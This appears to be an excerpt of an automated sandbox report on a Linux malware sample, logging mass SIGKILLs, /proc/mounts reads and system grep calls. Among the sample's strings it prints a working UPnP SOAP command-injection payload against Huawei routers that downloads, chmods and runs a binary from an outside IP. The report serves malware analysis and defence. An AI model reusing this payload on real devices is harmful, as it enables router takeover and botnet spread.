Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5763, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5778, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5779, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5783, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5787, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5848, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5873, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5874, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5875, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5876, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5877, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5880, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5895, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5896, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5967, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5971, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5974, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5995, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 5997, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6017, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6037, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6062, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6063, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6069, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6075, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6078, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6080, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6104, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6105, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6138, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6146, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6150, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6157, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6162, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6163, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6166, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6182, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6220, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6225, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6226, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6230, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6248, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6265, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6268, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6325, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6329, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6330, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6334, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6339, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6348, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6353, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6354, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6357, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6358, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6410, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6411, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6412, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6434, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6442, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6454, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6459, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6462, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6519, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6520, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6521, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6526, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6543, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6547, result: successful	Jump to behavior
Source: /tmp/x86 (PID: 5226)	SIGKILL sent: pid: 6558, result: successful	Jump to behavior

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 37.0.11.130 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal80.spre.troj.lin@0/117@25/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/dbus-daemon (PID: 5251)	File: /proc/5251/mounts	Jump to behavior
Source: /bin/fusermount (PID: 5300)	File: /proc/5300/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5348)	File: /proc/5348/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5518)	File: /proc/5518/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5571)	File: /proc/5571/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5672)	File: /proc/5672/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5848)	File: /proc/5848/mounts
Source: /usr/bin/dbus-daemon (PID: 5877)	File: /proc/5877/mounts
Source: /usr/bin/dbus-daemon (PID: 6037)	File: /proc/6037/mounts
Source: /usr/bin/dbus-daemon (PID: 6062)	File: /proc/6062/mounts
Source: /usr/bin/dbus-daemon (PID: 6080)	File: /proc/6080/mounts
Source: /usr/bin/dbus-daemon (PID: 6162)	File: /proc/6162/mounts
Source: /usr/bin/dbus-daemon (PID: 6182)	File: /proc/6182/mounts
Source: /usr/bin/dbus-daemon (PID: 6334)	File: /proc/6334/mounts
Source: /usr/bin/dbus-daemon (PID: 6353)	File: /proc/6353/mounts
Source: /usr/bin/dbus-daemon (PID: 6357)	File: /proc/6357/mounts
Source: /usr/bin/dbus-daemon (PID: 6526)	File: /proc/6526/mounts
Source: /usr/bin/dbus-daemon (PID: 6562)	File: /proc/6562/mounts

Source: /usr/share/gdm/generate-config (PID: 5443)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5542)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5662)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5757)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 5874)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 5968)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 6074)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 6328)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 6455)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 6559)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service

Source: /bin/sh (PID: 5418)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5424)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5426)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5428)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5431)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5434)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5439)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5441)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5517)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5521)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5525)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5527)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5529)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5531)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5535)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5537)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5638)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5641)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5643)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5649)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5651)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5654)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5656)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5658)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5735)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5738)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5740)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5743)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5746)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5748)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5753)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5755)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5851)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5853)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5855)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5859)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5861)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5864)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
